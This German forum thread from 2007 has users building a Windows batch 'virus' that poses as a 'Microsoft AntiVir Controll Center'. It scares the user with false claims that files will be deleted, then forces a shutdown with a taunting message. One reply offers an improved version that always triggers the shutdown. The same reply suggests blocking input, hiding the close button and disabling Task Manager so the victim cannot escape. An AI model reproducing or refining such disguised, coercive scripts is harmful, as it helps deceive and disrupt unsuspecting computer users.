PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Habe Paar Batch Probleme!



Ripper007
14.06.2007, 16:43
Hi habe ein paar Probleme!

Wenn man bei diesem Batch Virus keine zahl eingiebt geht das Prog einfach zu, wie kann ich das umgehen?

z.B. if %a% == Enter goto TOT (Geht noch nicht)


2. Kann man machen das das Exit kreuz rechts oben nicht angezeigt wird,
oder falls es gedrückt wird auch der shutdown eintretet!

z.B. if %a% == X goto TOT (oder sowas)


Aktueller Virus


@echo off
echo Microsoft AntiVir Controll Center
echo.
echo.
echo Dies ist Ein Virus!!!
echo.
echo Ihr Rechner wird in kurze runterfahren und alle
echo wichtigen und ungesicherten Datein werden geloscht!
echo Nachstes mal sollten sie solche Sachen nicht annehmen!!!
echo.
echo.
echo Bitte druecken Sie Enter!
echo.
pause
echo.
echo Windows empfiehlt
echo Druecken sie 1 fuer : Alle Daten sichern und sicher beenden
echo Druecken sie 2 fuer : Den Virus mit Microsoft AntiVir loschen
echo Druecken sie 3 fuer : Mir Linux downloaden
echo.
set /p a=Gebe die Zahl ein und druecke " Enter "
echo.
if %a% == 1 goto TOT
if %a% == 2 goto TOT
if %a% == 3 goto EXIT




--------------------------------

if %a% == Enter goto TOT (Geht noch nicht)

------------------------------------

:TOT
shutdown -s -f -t 35 -c "Bitte formatieren Sie umgehend ihre Festplatte. Sollten Sie dies nicht tun, pinkle ich ihnen in den Briefkasten oder lasse ihren Hund entfuhren! Gruss ihr Hacker ---------! :-P

f!l3st0rm
14.06.2007, 20:50
Hi, Ripper007

Machen kannste alles, fragt sich nur wie...

Paar Verbesserungsvorschläge:

1. Geht an all, wär ganz praktisch wenn Ihr immer eure Version mitposten würdet


ver


@echo off
echo Microsoft AntiVir Controll Center
echo.
echo.
echo Dies ist Ein Virus!!!
echo.
echo Ihr Rechner wird in kurze runterfahren und alle
echo wichtigen und ungesicherten Datein werden geloscht!
echo Nachstes mal sollten sie solche Sachen nicht annehmen!!!
echo.
echo.
echo Bitte druecken Sie Enter!
echo.
pause
echo.
echo Windows empfiehlt
echo Druecken sie 1 fuer : Alle Daten sichern und sicher beenden
echo Druecken sie 2 fuer : Den Virus mit Microsoft AntiVir loschen
echo Druecken sie 3 fuer : Mir Linux downloaden
echo.
set /p "a=Gebe die Zahl ein und druecke " Enter " "
goto :TOT




--------------------------------

if %a% == Enter goto TOT (Geht noch nicht)

------------------------------------

:TOT
shutdown -s -t 35 -c "Bitte formatieren Sie umgehend ihre Festplatte. Sollten Sie dies nicht tun, pinkle ich ihnen in den Briefkasten oder lasse ihren Hund kidnappen! Gruss ihr ScriptKiddie ********* ---------! :-P



Die Sachen mit den


if %a% == 1

würde ich ganz weglassen, da Du ja sowieso willst dass es danach zu ":TOT" springt.

Ich bin mir nicht sicher warum es bei Dir nicht geht (ver), aber die Syntax für set sieht bei mir so aus:


set "x=... "

Die sache mit den "..." ist eine gute Angewohnheit.


Den Button [x] kriegste sicher mit VBS weg, noch härter wär'n BlockInput-Skript das von selber abläuft - aber gehör nicht zu den VBS-Experten !!!



Dann, wenn Du dem armen Opfer gar keine Chance mehr geben willst, dann besorg Dir die Registry-Einträge von:


- Disable Taskmanager
- Fullscreen


(findest Du per sufu oder Google)

n3ur0n
15.06.2007, 16:43
es ist doch immer wieder nett, eines seiner eigenen werke in einem board bewundern zu dürfen :D :D :D

@ f!l3st0rm ... wo haste den her?

f!l3st0rm
15.06.2007, 17:22
Was genau meinst^^

Wo Ripper007 den Fetzen her hat - kein Plan /EDIT jetzt schon^^

Mein Lösungsvorschlag ist im internen Prozessor entstanden oder sag ma wo Du Dich so rumgetrieben hast, in welchen Foren "Batch Rockz" ^^